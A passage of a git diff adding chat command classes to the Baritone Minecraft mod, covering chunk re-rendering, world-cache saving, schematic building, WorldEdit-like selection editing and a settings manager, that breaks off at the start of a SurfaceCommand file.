b/src/baritone/command/defaults/RenderCommand.java new file mode 100644 index 00000000..4dd99a46 --- /dev/null +++ b/src/baritone/command/defaults/RenderCommand.java @@ -0,0 +1,71 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.command.defaults; + +import baritone.api.IBaritone; +import baritone.api.command.Command; +import baritone.api.command.argument.IArgConsumer; +import baritone.api.command.exception.CommandException; +import baritone.api.utils.BetterBlockPos; + +import java.util.Arrays; +import java.util.List; +import java.util.stream.Stream; + +public class RenderCommand extends Command { + + public RenderCommand(IBaritone baritone) { + super(baritone, "render"); + } + + @Override + public void execute(String label, IArgConsumer args) throws CommandException { + args.requireMax(0); + BetterBlockPos origin = ctx.playerFeet(); + int renderDistance = (ctx.minecraft().gameSettings.renderDistanceChunks + 1) * 16; + ctx.minecraft().worldRenderer.markBlockRangeForRenderUpdate( + origin.x - renderDistance, + 0, + origin.z - renderDistance, + origin.x + renderDistance, + 255, + origin.z + renderDistance + ); + logDirect("Done"); + } + + @Override + public Stream tabComplete(String label, IArgConsumer args) { + return Stream.empty(); + } + + @Override + public String getShortDesc() { + return "Fix glitched chunks"; + } + + @Override + public List getLongDesc() { + return Arrays.asList( + "The render command fixes glitched chunk rendering without having to reload all of them.", + "", + "Usage:", + "> render" + ); + } +} diff --git a/src/baritone/command/defaults/RepackCommand.java b/src/baritone/command/defaults/RepackCommand.java new file mode 100644 index 00000000..9f972561 --- /dev/null +++ b/src/baritone/command/defaults/RepackCommand.java @@ -0,0 +1,61 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.command.defaults; + +import baritone.api.BaritoneAPI; +import baritone.api.IBaritone; +import baritone.api.command.Command; +import baritone.api.command.argument.IArgConsumer; +import baritone.api.command.exception.CommandException; + +import java.util.Arrays; +import java.util.List; +import java.util.stream.Stream; + +public class RepackCommand extends Command { + + public RepackCommand(IBaritone baritone) { + super(baritone, "repack", "rescan"); + } + + @Override + public void execute(String label, IArgConsumer args) throws CommandException { + args.requireMax(0); + logDirect(String.format("Queued %d chunks for repacking", BaritoneAPI.getProvider().getWorldScanner().repack(ctx))); + } + + @Override + public Stream tabComplete(String label, IArgConsumer args) { + return Stream.empty(); + } + + @Override + public String getShortDesc() { + return "Re-cache chunks"; + } + + @Override + public List getLongDesc() { + return Arrays.asList( + "Repack chunks around you. This basically re-caches them.", + "", + "Usage:", + "> repack - Repack chunks." + ); + } +} diff --git a/src/baritone/command/defaults/SaveAllCommand.java b/src/baritone/command/defaults/SaveAllCommand.java new file mode 100644 index 00000000..de416c60 --- /dev/null +++ b/src/baritone/command/defaults/SaveAllCommand.java @@ -0,0 +1,61 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.command.defaults; + +import baritone.api.IBaritone; +import baritone.api.command.Command; +import baritone.api.command.argument.IArgConsumer; +import baritone.api.command.exception.CommandException; + +import java.util.Arrays; +import java.util.List; +import java.util.stream.Stream; + +public class SaveAllCommand extends Command { + + public SaveAllCommand(IBaritone baritone) { + super(baritone, "saveall"); + } + + @Override + public void execute(String label, IArgConsumer args) throws CommandException { + args.requireMax(0); + ctx.worldData().getCachedWorld().save(); + logDirect("Saved"); + } + + @Override + public Stream tabComplete(String label, IArgConsumer args) { + return Stream.empty(); + } + + @Override + public String getShortDesc() { + return "Saves Baritone's cache for this world"; + } + + @Override + public List getLongDesc() { + return Arrays.asList( + "The saveall command saves Baritone's world cache.", + "", + "Usage:", + "> saveall" + ); + } +} diff --git a/src/baritone/command/defaults/SchematicaCommand.java b/src/baritone/command/defaults/SchematicaCommand.java new file mode 100644 index 00000000..842a3013 --- /dev/null +++ b/src/baritone/command/defaults/SchematicaCommand.java @@ -0,0 +1,60 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.command.defaults; + +import baritone.api.IBaritone; +import baritone.api.command.Command; +import baritone.api.command.argument.IArgConsumer; +import baritone.api.command.exception.CommandException; + +import java.util.Arrays; +import java.util.List; +import java.util.stream.Stream; + +public class SchematicaCommand extends Command { + + public SchematicaCommand(IBaritone baritone) { + super(baritone, "schematica"); + } + + @Override + public void execute(String label, IArgConsumer args) throws CommandException { + args.requireMax(0); + baritone.getBuilderProcess().buildOpenSchematic(); + } + + @Override + public Stream tabComplete(String label, IArgConsumer args) { + return Stream.empty(); + } + + @Override + public String getShortDesc() { + return "Builds the loaded schematic"; + } + + @Override + public List getLongDesc() { + return Arrays.asList( + "Builds the schematic currently open in Schematica.", + "", + "Usage:", + "> schematica" + ); + } +} diff --git a/src/baritone/command/defaults/SelCommand.java b/src/baritone/command/defaults/SelCommand.java new file mode 100644 index 00000000..c035af43 --- /dev/null +++ b/src/baritone/command/defaults/SelCommand.java @@ -0,0 +1,451 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.command.defaults; + +import baritone.Baritone; +import baritone.api.IBaritone; +import baritone.api.command.Command; +import baritone.api.command.argument.IArgConsumer; +import baritone.api.command.datatypes.ForAxis; +import baritone.api.command.datatypes.ForBlockOptionalMeta; +import baritone.api.command.datatypes.ForDirection; +import baritone.api.command.datatypes.RelativeBlockPos; +import baritone.api.command.exception.CommandException; +import baritone.api.command.exception.CommandInvalidStateException; +import baritone.api.command.exception.CommandInvalidTypeException; +import baritone.api.command.helpers.TabCompleteHelper; +import baritone.api.event.events.RenderEvent; +import baritone.api.event.listener.AbstractGameEventListener; +import baritone.api.schematic.*; +import baritone.api.schematic.mask.shape.CylinderMask; +import baritone.api.schematic.mask.shape.SphereMask; +import baritone.api.selection.ISelection; +import baritone.api.selection.ISelectionManager; +import baritone.api.utils.BetterBlockPos; +import baritone.api.utils.BlockOptionalMeta; +import baritone.api.utils.BlockOptionalMetaLookup; +import baritone.utils.BlockStateInterface; +import baritone.utils.IRenderer; +import baritone.utils.schematic.StaticSchematic; +import net.minecraft.block.Blocks; +import net.minecraft.block.BlockState; +import net.minecraft.util.Direction; +import net.minecraft.util.math.AxisAlignedBB; +import net.minecraft.util.math.vector.Vector3i; + +import java.awt.*; +import java.util.List; +import java.util.*; +import java.util.function.Function; +import java.util.function.UnaryOperator; +import java.util.stream.Stream; + +public class SelCommand extends Command { + + private ISelectionManager manager = baritone.getSelectionManager(); + private BetterBlockPos pos1 = null; + private ISchematic clipboard = null; + private Vector3i clipboardOffset = null; + + public SelCommand(IBaritone baritone) { + super(baritone, "sel", "selection", "s"); + baritone.getGameEventHandler().registerEventListener(new AbstractGameEventListener() { + @Override + public void onRenderPass(RenderEvent event) { + if (!Baritone.settings().renderSelectionCorners.value || pos1 == null) { + return; + } + Color color = Baritone.settings().colorSelectionPos1.value; + float opacity = Baritone.settings().selectionOpacity.value; + float lineWidth = Baritone.settings().selectionLineWidth.value; + boolean ignoreDepth = Baritone.settings().renderSelectionIgnoreDepth.value; + IRenderer.startLines(color, opacity, lineWidth, ignoreDepth); + IRenderer.emitAABB(event.getModelViewStack(), new AxisAlignedBB(pos1, pos1.add(1, 1, 1))); + IRenderer.endLines(ignoreDepth); + } + }); + } + + @Override + public void execute(String label, IArgConsumer args) throws CommandException { + Action action = Action.getByName(args.getString()); + if (action == null) { + throw new CommandInvalidTypeException(args.consumed(), "an action"); + } + if (action == Action.POS1 || action == Action.POS2) { + if (action == Action.POS2 && pos1 == null) { + throw new CommandInvalidStateException("Set pos1 first before using pos2"); + } + BetterBlockPos playerPos = ctx.viewerPos(); + BetterBlockPos pos = args.hasAny() ? args.getDatatypePost(RelativeBlockPos.INSTANCE, playerPos) : playerPos; + args.requireMax(0); + if (action == Action.POS1) { + pos1 = pos; + logDirect("Position 1 has been set"); + } else { + manager.addSelection(pos1, pos); + pos1 = null; + logDirect("Selection added"); + } + } else if (action == Action.CLEAR) { + args.requireMax(0); + pos1 = null; + logDirect(String.format("Removed %d selections", manager.removeAllSelections().length)); + } else if (action == Action.UNDO) { + args.requireMax(0); + if (pos1 != null) { + pos1 = null; + logDirect("Undid pos1"); + } else { + ISelection[] selections = manager.getSelections(); + if (selections.length < 1) { + throw new CommandInvalidStateException("Nothing to undo!"); + } else { + pos1 = manager.removeSelection(selections[selections.length - 1]).pos1(); + logDirect("Undid pos2"); + } + } + } else if (action.isFillAction()) { + BlockOptionalMeta type = action == Action.CLEARAREA + ? new BlockOptionalMeta(Blocks.AIR) + : args.getDatatypeFor(ForBlockOptionalMeta.INSTANCE); + + final BlockOptionalMetaLookup replaces; // Action.REPLACE + final Direction.Axis alignment; // Action.(H)CYLINDER + if (action == Action.REPLACE) { + args.requireMin(1); + List replacesList = new ArrayList<>(); + replacesList.add(type); + while (args.has(2)) { + replacesList.add(args.getDatatypeFor(ForBlockOptionalMeta.INSTANCE)); + } + type = args.getDatatypeFor(ForBlockOptionalMeta.INSTANCE); + replaces = new BlockOptionalMetaLookup(replacesList.toArray(new BlockOptionalMeta[0])); + alignment = null; + } else if (action == Action.CYLINDER || action == Action.HCYLINDER) { + args.requireMax(1); + alignment = args.hasAny() ? args.getDatatypeFor(ForAxis.INSTANCE) : Direction.Axis.Y; + replaces = null; + } else { + args.requireMax(0); + replaces = null; + alignment = null; + } + ISelection[] selections = manager.getSelections(); + if (selections.length == 0) { + throw new CommandInvalidStateException("No selections"); + } + BetterBlockPos origin = selections[0].min(); + CompositeSchematic composite = new CompositeSchematic(0, 0, 0); + for (ISelection selection : selections) { + BetterBlockPos min = selection.min(); + origin = new BetterBlockPos( + Math.min(origin.x, min.x), + Math.min(origin.y, min.y), + Math.min(origin.z, min.z) + ); + } + for (ISelection selection : selections) { + Vector3i size = selection.size(); + BetterBlockPos min = selection.min(); + + // Java 8 so no switch expressions 😿 + UnaryOperator create = fill -> { + final int w = fill.widthX(); + final int h = fill.heightY(); + final int l = fill.lengthZ(); + + switch (action) { + case WALLS: + return new WallsSchematic(fill); + case SHELL: + return new ShellSchematic(fill); + case REPLACE: + return new ReplaceSchematic(fill, replaces); + case SPHERE: + return MaskSchematic.create(fill, new SphereMask(w, h, l, true).compute()); + case HSPHERE: + return MaskSchematic.create(fill, new SphereMask(w, h, l, false).compute()); + case CYLINDER: + return MaskSchematic.create(fill, new CylinderMask(w, h, l, true, alignment).compute()); + case HCYLINDER: + return MaskSchematic.create(fill, new CylinderMask(w, h, l, false, alignment).compute()); + default: + // Silent fail + return fill; + } + }; + + ISchematic schematic = create.apply(new FillSchematic(size.getX(), size.getY(), size.getZ(), type)); + composite.put(schematic, min.x - origin.x, min.y - origin.y, min.z - origin.z); + } + baritone.getBuilderProcess().build("Fill", composite, origin); + logDirect("Filling now"); + } else if (action == Action.COPY) { + BetterBlockPos playerPos = ctx.viewerPos(); + BetterBlockPos pos = args.hasAny() ? args.getDatatypePost(RelativeBlockPos.INSTANCE, playerPos) : playerPos; + args.requireMax(0); + ISelection[] selections = manager.getSelections(); + if (selections.length < 1) { + throw new CommandInvalidStateException("No selections"); + } + BlockStateInterface bsi = new BlockStateInterface(ctx); + BetterBlockPos origin = selections[0].min(); + CompositeSchematic composite = new CompositeSchematic(0, 0, 0); + for (ISelection selection : selections) { + BetterBlockPos min = selection.min(); + origin = new BetterBlockPos( + Math.min(origin.x, min.x), + Math.min(origin.y, min.y), + Math.min(origin.z, min.z) + ); + } + for (ISelection selection : selections) { + Vector3i size = selection.size(); + BetterBlockPos min = selection.min(); + BlockState[][][] blockstates = new BlockState[size.getX()][size.getZ()][size.getY()]; + for (int x = 0; x < size.getX(); x++) { + for (int y = 0; y < size.getY(); y++) { + for (int z = 0; z < size.getZ(); z++) { + blockstates[x][z][y] = bsi.get0(min.x + x, min.y + y, min.z + z); + } + } + } + ISchematic schematic = new StaticSchematic() {{ + states = blockstates; + x = size.getX(); + y = size.getY(); + z = size.getZ(); + }}; + composite.put(schematic, min.x - origin.x, min.y - origin.y, min.z - origin.z); + } + clipboard = composite; + clipboardOffset = origin.subtract(pos); + logDirect("Selection copied"); + } else if (action == Action.PASTE) { + BetterBlockPos playerPos = ctx.viewerPos(); + BetterBlockPos pos = args.hasAny() ? args.getDatatypePost(RelativeBlockPos.INSTANCE, playerPos) : playerPos; + args.requireMax(0); + if (clipboard == null) { + throw new CommandInvalidStateException("You need to copy a selection first"); + } + baritone.getBuilderProcess().build("Fill", clipboard, pos.add(clipboardOffset)); + logDirect("Building now"); + } else if (action == Action.EXPAND || action == Action.CONTRACT || action == Action.SHIFT) { + args.requireExactly(3); + TransformTarget transformTarget = TransformTarget.getByName(args.getString()); + if (transformTarget == null) { + throw new CommandInvalidStateException("Invalid transform type"); + } + Direction direction = args.getDatatypeFor(ForDirection.INSTANCE); + int blocks = args.getAs(Integer.class); + ISelection[] selections = manager.getSelections(); + if (selections.length < 1) { + throw new CommandInvalidStateException("No selections found"); + } + selections = transformTarget.transform(selections); + for (ISelection selection : selections) { + if (action == Action.EXPAND) { + manager.expand(selection, direction, blocks); + } else if (action == Action.CONTRACT) { + manager.contract(selection, direction, blocks); + } else { + manager.shift(selection, direction, blocks); + } + } + logDirect(String.format("Transformed %d selections", selections.length)); + } + } + + @Override + public Stream tabComplete(String label, IArgConsumer args) throws CommandException { + if (args.hasExactlyOne()) { + return new TabCompleteHelper() + .append(Action.getAllNames()) + .filterPrefix(args.getString()) + .sortAlphabetically() + .stream(); + } else { + Action action = Action.getByName(args.getString()); + if (action != null) { + if (action == Action.POS1 || action == Action.POS2) { + if (args.hasAtMost(3)) { + return args.tabCompleteDatatype(RelativeBlockPos.INSTANCE); + } + } else if (action.isFillAction()) { + if (args.hasExactlyOne() || action == Action.REPLACE) { + while (args.has(2)) { + args.get(); + } + return args.tabCompleteDatatype(ForBlockOptionalMeta.INSTANCE); + } else if (args.hasExactly(2) && (action == Action.CYLINDER || action == Action.HCYLINDER)) { + args.get(); + return args.tabCompleteDatatype(ForAxis.INSTANCE); + } + } else if (action == Action.EXPAND || action == Action.CONTRACT || action == Action.SHIFT) { + if (args.hasExactlyOne()) { + return new TabCompleteHelper() + .append(TransformTarget.getAllNames()) + .filterPrefix(args.getString()) + .sortAlphabetically() + .stream(); + } else { + TransformTarget target = TransformTarget.getByName(args.getString()); + if (target != null && args.hasExactlyOne()) { + return args.tabCompleteDatatype(ForDirection.INSTANCE); + } + } + } + } + } + return Stream.empty(); + } + + @Override + public String getShortDesc() { + return "WorldEdit-like commands"; + } + + @Override + public List getLongDesc() { + return Arrays.asList( + "The sel command allows you to manipulate Baritone's selections, similarly to WorldEdit.", + "", + "Using these selections, you can clear areas, fill them with blocks, or something else.", + "", + "The expand/contract/shift commands use a kind of selector to choose which selections to target. Supported ones are a/all, n/newest, and o/oldest.", + "", + "Usage:", + "> sel pos1/p1/1 - Set position 1 to your current position.", + "> sel pos1/p1/1 - Set position 1 to a relative position.", + "> sel pos2/p2/2 - Set position 2 to your current position.", + "> sel pos2/p2/2 - Set position 2 to a relative position.", + "", + "> sel clear/c - Clear the selection.", + "> sel undo/u - Undo the last action (setting positions, creating selections, etc.)", + "> sel set/fill/s/f [block] - Completely fill all selections with a block.", + "> sel walls/w [block] - Fill in the walls of the selection with a specified block.", + "> sel shell/shl [block] - The same as walls, but fills in a ceiling and floor too.", + "> sel sphere/sph [block] - Fills the selection with a sphere bounded by the sides.", + "> sel hsphere/hsph [block] - The same as sphere, but hollow.", + "> sel cylinder/cyl [block] - Fills the selection with a cylinder bounded by the sides, oriented about the given axis. (default=y)", + "> sel hcylinder/hcyl [block] - The same as cylinder, but hollow.", + "> sel cleararea/ca - Basically 'set air'.", + "> sel replace/r - Replaces blocks with another block.", + "> sel copy/cp - Copy the selected area relative to the specified or your position.", + "> sel paste/p - Build the copied area relative to the specified or your position.", + "", + "> sel expand - Expand the targets.", + "> sel contract - Contract the targets.", + "> sel shift - Shift the targets (does not resize)." + ); + } + + enum Action { + POS1("pos1", "p1", "1"), + POS2("pos2", "p2", "2"), + CLEAR("clear", "c"), + UNDO("undo", "u"), + SET("set", "fill", "s", "f"), + WALLS("walls", "w"), + SHELL("shell", "shl"), + SPHERE("sphere", "sph"), + HSPHERE("hsphere", "hsph"), + CYLINDER("cylinder", "cyl"), + HCYLINDER("hcylinder", "hcyl"), + CLEARAREA("cleararea", "ca"), + REPLACE("replace", "r"), + EXPAND("expand", "ex"), + COPY("copy", "cp"), + PASTE("paste", "p"), + CONTRACT("contract", "ct"), + SHIFT("shift", "sh"); + private final String[] names; + + Action(String... names) { + this.names = names; + } + + public static Action getByName(String name) { + for (Action action : Action.values()) { + for (String alias : action.names) { + if (alias.equalsIgnoreCase(name)) { + return action; + } + } + } + return null; + } + + public static String[] getAllNames() { + Set names = new HashSet<>(); + for (Action action : Action.values()) { + names.addAll(Arrays.asList(action.names)); + } + return names.toArray(new String[0]); + } + + public final boolean isFillAction() { + return this == SET + || this == WALLS + || this == SHELL + || this == SPHERE + || this == HSPHERE + || this == CYLINDER + || this == HCYLINDER + || this == CLEARAREA + || this == REPLACE; + } + } + + enum TransformTarget { + ALL(sels -> sels, "all", "a"), + NEWEST(sels -> new ISelection[]{sels[sels.length - 1]}, "newest", "n"), + OLDEST(sels -> new ISelection[]{sels[0]}, "oldest", "o"); + private final Function transform; + private final String[] names; + + TransformTarget(Function transform, String... names) { + this.transform = transform; + this.names = names; + } + + public ISelection[] transform(ISelection[] selections) { + return transform.apply(selections); + } + + public static TransformTarget getByName(String name) { + for (TransformTarget target : TransformTarget.values()) { + for (String alias : target.names) { + if (alias.equalsIgnoreCase(name)) { + return target; + } + } + } + return null; + } + + public static String[] getAllNames() { + Set names = new HashSet<>(); + for (TransformTarget target : TransformTarget.values()) { + names.addAll(Arrays.asList(target.names)); + } + return names.toArray(new String[0]); + } + } +} diff --git a/src/baritone/command/defaults/SetCommand.java b/src/baritone/command/defaults/SetCommand.java new file mode 100644 index 00000000..7b42617a --- /dev/null +++ b/src/baritone/command/defaults/SetCommand.java @@ -0,0 +1,280 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.command.defaults; + +import baritone.Baritone; +import baritone.api.IBaritone; +import baritone.api.Settings; +import baritone.api.command.Command; +import baritone.api.command.argument.IArgConsumer; +import baritone.api.command.datatypes.RelativeFile; +import baritone.api.command.exception.CommandException; +import baritone.api.command.exception.CommandInvalidStateException; +import baritone.api.command.exception.CommandInvalidTypeException; +import baritone.api.command.helpers.Paginator; +import baritone.api.command.helpers.TabCompleteHelper; +import baritone.api.utils.SettingsUtil; +import net.minecraft.client.Minecraft; +import net.minecraft.util.text.StringTextComponent; +import net.minecraft.util.text.TextComponent; +import net.minecraft.util.text.TextFormatting; +import net.minecraft.util.text.event.ClickEvent; +import net.minecraft.util.text.event.HoverEvent; + +import java.util.Arrays; +import java.util.List; +import java.util.Locale; +import java.util.stream.Collectors; +import java.util.stream.Stream; + +import static baritone.api.command.IBaritoneChatControl.FORCE_COMMAND_PREFIX; +import static baritone.api.utils.SettingsUtil.*; + +public class SetCommand extends Command { + + public SetCommand(IBaritone baritone) { + super(baritone, "set", "setting", "settings"); + } + + @Override + public void execute(String label, IArgConsumer args) throws CommandException { + String arg = args.hasAny() ? args.getString().toLowerCase(Locale.US) : "list"; + if (Arrays.asList("s", "save").contains(arg)) { + SettingsUtil.save(Baritone.settings()); + logDirect("Settings saved"); + return; + } + if (Arrays.asList("load", "ld").contains(arg)) { + String file = SETTINGS_DEFAULT_NAME; + if (args.hasAny()) { + file = args.getString(); + } + // reset to defaults + SettingsUtil.modifiedSettings(Baritone.settings()).forEach(Settings.Setting::reset); + // then load from disk + SettingsUtil.readAndApply(Baritone.settings(), file); + logDirect("Settings reloaded from " + file); + return; + } + boolean viewModified = Arrays.asList("m", "mod", "modified").contains(arg); + boolean viewAll = Arrays.asList("all", "l", "list").contains(arg); + boolean paginate = viewModified || viewAll; + if (paginate) { + String search = args.hasAny() && args.peekAsOrNull(Integer.class) == null ? args.getString() : ""; + args.requireMax(1); + List toPaginate = + (viewModified ? SettingsUtil.modifiedSettings(Baritone.settings()) : Baritone.settings().allSettings).stream() + .filter(s -> !s.isJavaOnly()) + .filter(s -> s.getName().toLowerCase(Locale.US).contains(search.toLowerCase(Locale.US))) + .sorted((s1, s2) -> String.CASE_INSENSITIVE_ORDER.compare(s1.getName(), s2.getName())) + .collect(Collectors.toList()); + Paginator.paginate( + args, + new Paginator<>(toPaginate), + () -> logDirect( + !search.isEmpty() + ? String.format("All %ssettings containing the string '%s':", viewModified ? "modified " : "", search) + : String.format("All %ssettings:", viewModified ? "modified " : "") + ), + setting -> { + TextComponent typeComponent = new StringTextComponent(String.format( + " (%s)", + settingTypeToString(setting) + )); + typeComponent.setStyle(typeComponent.getStyle().setFormatting(TextFormatting.DARK_GRAY)); + TextComponent hoverComponent = new StringTextComponent(""); + hoverComponent.setStyle(hoverComponent.getStyle().setFormatting(TextFormatting.GRAY)); + hoverComponent.appendString(setting.getName()); + hoverComponent.appendString(String.format("\nType: %s", settingTypeToString(setting))); + hoverComponent.appendString(String.format("\n\nValue:\n%s", settingValueToString(setting))); + hoverComponent.appendString(String.format("\n\nDefault Value:\n%s", settingDefaultToString(setting))); + String commandSuggestion = Baritone.settings().prefix.value + String.format("set %s ", setting.getName()); + TextComponent component = new StringTextComponent(setting.getName()); + component.setStyle(component.getStyle().setFormatting(TextFormatting.GRAY)); + component.append(typeComponent); + component.setStyle(component.getStyle() + .setHoverEvent(new HoverEvent(HoverEvent.Action.SHOW_TEXT, hoverComponent)) + .setClickEvent(new ClickEvent(ClickEvent.Action.SUGGEST_COMMAND, commandSuggestion))); + return component; + }, + FORCE_COMMAND_PREFIX + "set " + arg + " " + search + ); + return; + } + args.requireMax(1); + boolean resetting = arg.equalsIgnoreCase("reset"); + boolean toggling = arg.equalsIgnoreCase("toggle"); + boolean doingSomething = resetting || toggling; + if (resetting) { + if (!args.hasAny()) { + logDirect("Please specify 'all' as an argument to reset to confirm you'd really like to do this"); + logDirect("ALL settings will be reset. Use the 'set modified' or 'modified' commands to see what will be reset."); + logDirect("Specify a setting name instead of 'all' to only reset one setting"); + } else if (args.peekString().equalsIgnoreCase("all")) { + SettingsUtil.modifiedSettings(Baritone.settings()).forEach(Settings.Setting::reset); + logDirect("All settings have been reset to their default values"); + SettingsUtil.save(Baritone.settings()); + return; + } + } + if (toggling) { + args.requireMin(1); + } + String settingName = doingSomething ? args.getString() : arg; + Settings.Setting setting = Baritone.settings().allSettings.stream() + .filter(s -> s.getName().equalsIgnoreCase(settingName)) + .findFirst() + .orElse(null); + if (setting == null) { + throw new CommandInvalidTypeException(args.consumed(), "a valid setting"); + } + if (setting.isJavaOnly()) { + // ideally it would act as if the setting didn't exist + // but users will see it in Settings.java or its javadoc + // so at some point we have to tell them or they will see it as a bug + throw new CommandInvalidStateException(String.format("Setting %s can only be used via the api.", setting.getName())); + } + if (!doingSomething && !args.hasAny()) { + logDirect(String.format("Value of setting %s:", setting.getName())); + logDirect(settingValueToString(setting)); + } else { + String oldValue = settingValueToString(setting); + if (resetting) { + setting.reset(); + } else if (toggling) { + if (setting.getValueClass() != Boolean.class) { + throw new CommandInvalidTypeException(args.consumed(), "a toggleable setting", "some other setting"); + } + //noinspection unchecked + Settings.Setting asBoolSetting = (Settings.Setting) setting; + asBoolSetting.value ^= true; + logDirect(String.format( + "Toggled setting %s to %s", + setting.getName(), + Boolean.toString((Boolean) setting.value) + )); + } else { + String newValue = args.getString(); + try { + SettingsUtil.parseAndApply(Baritone.settings(), arg, newValue); + } catch (Throwable t) { + t.printStackTrace(); + throw new CommandInvalidTypeException(args.consumed(), "a valid value", t); + } + } + if (!toggling) { + logDirect(String.format( + "Successfully %s %s to %s", + resetting ? "reset" : "set", + setting.getName(), + settingValueToString(setting) + )); + } + TextComponent oldValueComponent = new StringTextComponent(String.format("Old value: %s", oldValue)); + oldValueComponent.setStyle(oldValueComponent.getStyle() + .setFormatting(TextFormatting.GRAY) + .setHoverEvent(new HoverEvent( + HoverEvent.Action.SHOW_TEXT, + new StringTextComponent("Click to set the setting back to this value") + )) + .setClickEvent(new ClickEvent( + ClickEvent.Action.RUN_COMMAND, + FORCE_COMMAND_PREFIX + String.format("set %s %s", setting.getName(), oldValue) + ))); + logDirect(oldValueComponent); + if ((setting.getName().equals("chatControl") && !(Boolean) setting.value && !Baritone.settings().chatControlAnyway.value) || + setting.getName().equals("chatControlAnyway") && !(Boolean) setting.value && !Baritone.settings().chatControl.value) { + logDirect("Warning: Chat commands will no longer work. If you want to revert this change, use prefix control (if enabled) or click the old value listed above.", TextFormatting.RED); + } else if (setting.getName().equals("prefixControl") && !(Boolean) setting.value) { + logDirect("Warning: Prefixed commands will no longer work. If you want to revert this change, use chat control (if enabled) or click the old value listed above.", TextFormatting.RED); + } + } + SettingsUtil.save(Baritone.settings()); + } + + @Override + public Stream tabComplete(String label, IArgConsumer args) throws CommandException { + if (args.hasAny()) { + String arg = args.getString(); + if (args.hasExactlyOne() && !Arrays.asList("s", "save").contains(args.peekString().toLowerCase(Locale.US))) { + if (arg.equalsIgnoreCase("reset")) { + return new TabCompleteHelper() + .addModifiedSettings() + .prepend("all") + .filterPrefix(args.getString()) + .stream(); + } else if (arg.equalsIgnoreCase("toggle")) { + return new TabCompleteHelper() + .addToggleableSettings() + .filterPrefix(args.getString()) + .stream(); + } else if (Arrays.asList("ld", "load").contains(arg.toLowerCase(Locale.US))) { + // settings always use the directory of the main Minecraft instance + return RelativeFile.tabComplete(args, Minecraft.getInstance().gameDir.toPath().resolve("baritone").toFile()); + } + Settings.Setting setting = Baritone.settings().byLowerName.get(arg.toLowerCase(Locale.US)); + if (setting != null) { + if (setting.getType() == Boolean.class) { + TabCompleteHelper helper = new TabCompleteHelper(); + if ((Boolean) setting.value) { + helper.append("true", "false"); + } else { + helper.append("false", "true"); + } + return helper.filterPrefix(args.getString()).stream(); + } else { + return Stream.of(settingValueToString(setting)); + } + } + } else if (!args.hasAny()) { + return new TabCompleteHelper() + .addSettings() + .sortAlphabetically() + .prepend("list", "modified", "reset", "toggle", "save", "load") + .filterPrefix(arg) + .stream(); + } + } + return Stream.empty(); + } + + @Override + public String getShortDesc() { + return "View or change settings"; + } + + @Override + public List getLongDesc() { + return Arrays.asList( + "Using the set command, you can manage all of Baritone's settings. Almost every aspect is controlled by these settings - go wild!", + "", + "Usage:", + "> set - Same as `set list`", + "> set list [page] - View all settings", + "> set modified [page] - View modified settings", + "> set - View the current value of a setting", + "> set - Set the value of a setting", + "> set reset all - Reset ALL SETTINGS to their defaults", + "> set reset - Reset a setting to its default", + "> set toggle - Toggle a boolean setting", + "> set save - Save all settings (this is automatic tho)", + "> set load - Load settings from settings.txt", + "> set load [filename] - Load settings from another file in your minecraft/baritone" + ); + } +} diff --git a/src/baritone/command/defaults/SurfaceCommand.java b/src/baritone/command/defaults/SurfaceCommand.java new file mode 100644 index 00000000..ed583845 --- /dev/null +++ b/src/baritone/command/defaults/SurfaceCommand.java @@ -0,0 +1,89 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A 